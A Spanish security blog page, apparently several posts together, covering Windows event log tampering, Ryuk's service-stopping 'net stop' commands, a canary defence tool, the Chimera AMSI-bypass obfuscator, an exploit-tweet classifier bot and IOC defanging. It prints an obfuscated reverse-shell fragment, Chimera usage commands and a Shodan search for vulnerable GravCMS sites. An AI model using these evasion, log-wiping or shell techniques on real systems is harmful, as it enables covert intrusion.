Si suspendemos este proceso, el visor de eventos se pausará. Aunque tampoco podremos abrir un nuevo CMD o PowerShell podremos seguir usando una shell ya abierta. Eso sí, el visor de eventos se pausará pero los registros aparecerán justo después de reanudar el proceso, lo mismo si mata el proceso y luego inicia los servicios nuevamente.

Downgrade de componentes de Windows

La presencia de la clave de registro MiniNT (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MiniNT) hace que varios componentes de Windows crean que se están ejecutando en el entorno de preinstalación de Windows. Significativamente, la presencia de esta clave rompe el Visor de eventos; intenta abrir cualquier registro y recibirás el siguiente mensaje de error:

Además si esto no fuera suficiente, la comunicación remota de Windows PowerShell también dejará de funcionar con esta clave.

DanderSpritz

Shadow Brokers exfiltró este implante funcional que incluía una herramienta llamada "EventLogEdit". EventLogEdit era más sofisticada en comparación con otras, ya que permite eliminar entradas individuales de los registros de seguridad, aplicación y sistema sin dejar pistas obvias de que los archivos se han editado.

Desde China 3gstudent evolucionó además EventLogEdit para reescribir logs mediante la WinAPI EvtExportLog:
https://github.com/3gstudent/Eventlogedit-evtx--Evolution

También hay una interesante herramienta forense para descubrir si se ha usado DanderSpritz: https://github.com/fox-it/danderspritz-evtx

Manualmente

Por último, también es posible editar los eventos manualmente. Bastante laborioso pero tremendamente "quirúrgico" si es necesario. Básicamente hay que conocer la estructura y el formato de un .evtx y tener en cuenta tres checksums principales que harán que el registro de eventos se corrompa si no se actualizan correctamente, el checksum del encabezado del archivo, el checksum del encabezado del fragmento y el checksum del registro de eventos. Tenéis una buena guía aquí.

Fuentes:

• https://blog.cybercastle.io/event-log-service-between-offensive-and-defensive/
• https://www.securityweek.com/event-logs-manipulated-nsa-hacking-tool-recoverable
• https://blog.fox-it.com/2017/12/08/detection-and-recovery-of-nsas-covered-up-tracks/
• https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c
• https://svch0st.medium.com/event-log-tampering-part-2-manipulating-individual-event-logs-3de37f7e3a85
• https://www.quppa.net/blog/2016/04/14/beware-of-the-minint-registry-key/

net stop avpsus /y
net stop McAfeeDLPAgentService /y
net stop mfewc /y
net stop BMR Boot Service /y
net stop NetBackup BMR MTFTP Service /y

Véase:
https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/

Al hilo de ésto, Ollie Whitehouse de NCC Group ha publicado SWOLLENRIVER, una interesante herramienta bajo licencia AGPL que implementa una serie de procesos canarios que se controlan entre sí. Si estos servicios se detienen (a través de net stop o similar) y no durante el cierre del equipo, disparará un token Canary DNS (http://canarytokens.org/generate) e hibernará el host.

Si a algunos no os suenan los Canary Tokens deciros que es un concepto muy interesante en el mundo Deception/honeypots. Es como los clásicos web bugs que se incluían en los correos electrónicos, imágenes transparentes que se cargaban mediante una URL única embebida en una image tag, alertando al "cazador" que está monitorizando las peticiones GET contra un site.

Para poder generar este tipo de alertas:
- necesitaremos crear el token en https://docs.canarytokens.org/guide/dns-token.html#creating-a-dns-token y cambiar REPLACEME aquí: https://github.com/nccgroup/KilledProcessCanary/blob/master/Program.cs#L241
- compilar SWOLLENRIVER
- implementar en rutas típicas para al menos DOS servicios de Windows específicos
- instalar el servicio de Windows, p. Ej.

New-Service -Name "MSSQL" -BinaryPathName "C:\Program Files\Microsoft SQL Server\sqlserver.exe"

- iniciar

Al hacer esto, conseguiremos:

- Minimizar el impacto/probabilidad de un cifrado exitoso
- Obtener más opciones de recuperación de la clave de cifrado de la RAM

Repo: https://github.com/nccgroup/KilledProcessCanary

El core para antimalware que usa Microsoft, introducido en Windows 10, es la Interfaz de exploración antimalware de Windows, en inglés Antimalware Scan Interface y en adelante AMSI. 

Las aplicaciones antivirus, incluido Windows Defender, pueden llamar a su conjunto de APIs para solicitar un análisis en busca de software malintencionado, scripts y otro contenido. 

Hoy os traemos precisamente una herramienta destinada a bypassear AMSI. Se trata de Chimera, un script en PowerShell para ofuscar código y eludir como decimos AMSI y otras soluciones antivirus. 

Básicamente toma como entrada los PS1 maliciosos detectados por AVs y utiliza la sustitución de cadenas y la concatenación de variables para evadir las firmas de detección comunes. 

A continuación se muestra un fragmento de Invoke-PowerShellTcp.ps1 de Nishang, que se encuentra en nishang/Shells. VirusTotal reporta 25 detecciones del script de PS1.

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

Y aquí el mismo fragmento tratado por Chimera que reporta 0 detecciones:

# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
              $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
       # As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
          [bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
   # Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.

  # Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
           # Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
   # Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
           $PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
            $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
   # An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.

Chimera hace varias cosas para ofuscar el código fuente. La función transformer separará las cadenas en múltiples piezas y las reconstruirá como nuevas variables. Por ejemplo, tomará una cadena como ... New-Object System.Net.Sockets.TCPClient ... y la convertirá a:

$a = "Syste"
$b = "m.Net.Soc"
$c = "kets.TCP"
$d = "Client"

... New-Object $a$b$c$d ...

$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"
$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"
$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"
$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"
$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"
$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"
$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"
$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"
$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"
$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN

Uso (probado en Kali v2020.3) 

Clonar el repo:

sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help

Uso básico:

./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p

Os recomendamos echar un ojo a la guía de uso y a este writeup para ver más ejemplos y pantallazos. 

Shells 

En el directorio shells/ hay varios scripts de Nishang y algunos genéricos. Todos han sido probados y deberían funcionar bien. Para cambiar las direcciones IP hardcodeadas:

sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1

ls -laR shells/

shells/:
total 60
-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 tokyoneon tokyoneon  734 Aug 29 22:02 generic3.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon  281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon  594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc
-rwxrwx--- 1 tokyoneon tokyoneon  616 Aug 29 22:02 powershell_reverse_shell.ps1

shells/misc:
total 36
-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Information.ps1
-rwxrwx--- 1 tokyoneon tokyoneon  672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1

Recursos

• Invoke-Obfuscation
• AMSITrigger
• PSAmsi
• amsi.fail
• Unicorn
• www.wolfandco.com

https://twitter.com/alexfrancow_sec

TED es un bot de Twitter que tiene como objetivo hacer retweet a todo aquel texto que contenga un exploit para un CVE, manteniéndonos así notificados de cuando un exploit es publicado. En su interior incorpora una serie de algoritmos de Machine Learning que le aportan la inteligencia necesaria para discernir entre un tweet que contenga una prueba de concepto a uno que solo aporte información de una vulnerabilidad.

Al utilizar algoritmos supervisados, se ha tenido que crear un dataset en el que se han identificado 629 tweets a mano y se han categorizado con una etiqueta, "Exploit", la cual contiene el valor 1 o 0 siendo 1 exploit y 0 simplemente información. Como se verá más adelante será necesario seguir etiquetando tweets a mano para poder incrementar la precisión del modelo de ML.

Imagen del dataframe etiquetado manualmente

El modelo ha sido entrenado con un algoritmo llamado MultinomialNB, del cual tenéis muchos más detalles técnicos en el enlace de mi blog. Básicamente es un tipo de algoritmo del conjunto de algoritmos "Naive Bayes" una clase especial de algoritmos de clasificación de Machine Learning que se basan en una técnica de clasificación estadística llamada “teorema de Bayes”, como se mencionó anteriormente supervisado. Los clasificadores Naive Bayes se han aplicado con éxito a muchos dominios, particularmente Procesamiento del lenguaje natural (NLP), por lo que encajaría perfectamente con nuestro proyecto. Un funcionamiento un poco más detallado sería:

El primer paso, hacer un pre-procesado de los tweets; sustitución de URLs y nombres de usuario por palabras clave, eliminación de signos de puntuación y la conversión a minúsculas, y la normalización del texto (stemmer, lemmatize).

Imagen del dataframe pre-procesado correctamente

Con el texto bien procesado, nos enfocamos en extraer características del texto. Necesitamos características numéricas como entrada para nuestro clasificador. Entonces, una elección intuitiva sería la frecuencia de las palabras, es decir, contar la aparición de cada palabra en el documento.

Y el último paso sería aplicar los algoritmos de MultinomialNB, que lo haremos muy fácil con la librería de scikit-learn de Python.

```python
# Se crea una canalización con un vectorizador y nuestro clasificador Naive Bayes:
pipe_mnnb = Pipeline(steps = [('tf', TfidfVectorizer()), ('mnnb', MultinomialNB())])

# Parameter grid
pgrid_mnnb = {
    # Max_features is the maximum number of words to include in the vocabulary. We will test max vocab sizes of 1000, 2000, and 3000 words.
'tf__max_features' : [1000, 2000, 3000],

    # Stop_words are common words that can be filtered out when creating the vocabulary- read about them here. We will test removing stopwords against leaving them in.
'tf__stop_words' : ['english', stop_words_alexfrancow],

    # ngram_range allows our model to look at individual words as well as word pairs. For example, the string “I like black cats” would get tokenized into “I”, “I like”, “like”, “like black”, “black”, “black cats”, “cats”. We will test using ngrams of 1 and 2 against just single words.
'tf__ngram_range' : [(1,1),(1,2)],

    # Use_idf is the one we mentioned before. This will test a model that fits a TfidfVectorizer against one that fits a CountVectorizer.
'tf__use_idf' : [True, False],

'mnnb__alpha' : [0.1, 0.5, 1]
}

gs_mnnb = GridSearchCV(pipe_mnnb, pgrid_mnnb, cv=5, n_jobs=-1)
gs_mnnb.fit(X_train, y_train)

```

Llegados hasta aquí podremos conocer la precisión de casos clasificados correctamente de nuestro modelo, que fue de un 77%, ¿con este porcentaje es suficiente?, lo normal para un modelo existoso es que la precisión sea de un 90%, pero en este caso vemos que no da tan malos resultados para una PoC.

El bot actualmente está en funcionamiento y ya ha dado para varios ejemplos exitosos, uno muy interesante que menciono en el blog fue el acceso a las cámaras personales de seguridad de varias viviendas. En este ejemplo, para hacerlo distinto, veremos un CMS vulnerable.

A las 14 horas de publicarse el CVE-2021-21425 (07/04/2021) que afecta al CMS gravCMS con un riesgo critico ya que permite un RCE unauthenticated contra el servidor, el bot detectó un posible exploit que, tras haberlo comprobado manualmente, dimos por positivo. 

En el link al que hace referencia el tweet, se incluye una explicación muy detallada de la vulnerabilidad en el que explica la función exacta donde se encuentra la vulnerabilidad además de ofrecer el módulo para explotarla en metasploit.

Como vemos en el blog la vulnerabilidad realmente se descubrió el día 18 de Marzo.

https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/

Si nos vamos a shodan.io podremos buscar por la etiqueta meta de html que contiene el valor GravCMS , de esta manera nos saldrán todos los CMS y veremos que hay unas cuantas webs que probablemente están siendo afectadas por la vulnerabilidad.

Filtro utilizado: html:content="GravCMS"

Filtro utilizado: html:content="GravCMS" country:"ES"

Claro ejemplo de que se trata de GravCMS

Cabe destacar que la vulnerabilidad en ningún caso se intento explotar ni llegaron a realizar peticiones maliciosas contra ningún sitio web publicado.

Este bot solo se trata de una PoC de que el modelo de Machine Learning entrenado es funcional, quedaría retocarlo para que sea productivo, ya que todavía tiene un bajo porcentaje de precisión.

Como venía recalcando en varias ocasiones a lo largo de este post, podéis encontrar información más detallada en el post que publiqué en: https://alexfrancow.github.io

Muchas gracias, cualquier duda podéis contactarme por Twitter: @alexfrancow

Estos observables tienen una vida útil corta pero pueden ser muy adecuados de cara a detectar y/o bloquear una amenaza actual. Sin embargo, estos IoCs también pueden convertirse en peligrosos enlaces sobre los que los analistas pueden hacer clic por error afectando a la seguridad del equipo, filtrar datos o contaminar las estadísticas. Por ello, normalmente lo que se hace es "desarmar" (defang) los IOCs previamente cambiando y añadiendo caracteres para que no sean "clickables" a la vez que siguen siendo legibles para el ojo humano. 

Por ejemplo: "https://www.hackplayers.com/" se reemplazaría por "hXXps://www.hackplayers[.]com/" 

Por supuesto, tenemos muchas opciones para automatizar esta tarea y, cómo no, Python tiene un "módulo de defang" disponible: https://pypi.python.org/pypi/defang. Para instalarlo, simplemente usamos pip:

# pip install defang

$ echo "http://www.hackplayers.com/" | defang
hXXp://www.hackplayers[.]com/

$ defang -i IOCs.txt | tee IOCs.txt.safe
hXXp://www.saisoncard-jp[.]icu/WebPc/
hXXp://www.hotescort[.]gr/snid.rnpc/cesni.php
hXXp://www.app.uniswap.liquidity-holder[.]com/
hXXp://www.amaonazon[.]buzz/
hXXp://www.amaoamazon[.]xyz/

$ python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from defang import defang
>>> u="http://www.hackplayers.com/"
>>> defang(u)
'hXXp://www.hackplayers[.]com/'
>>>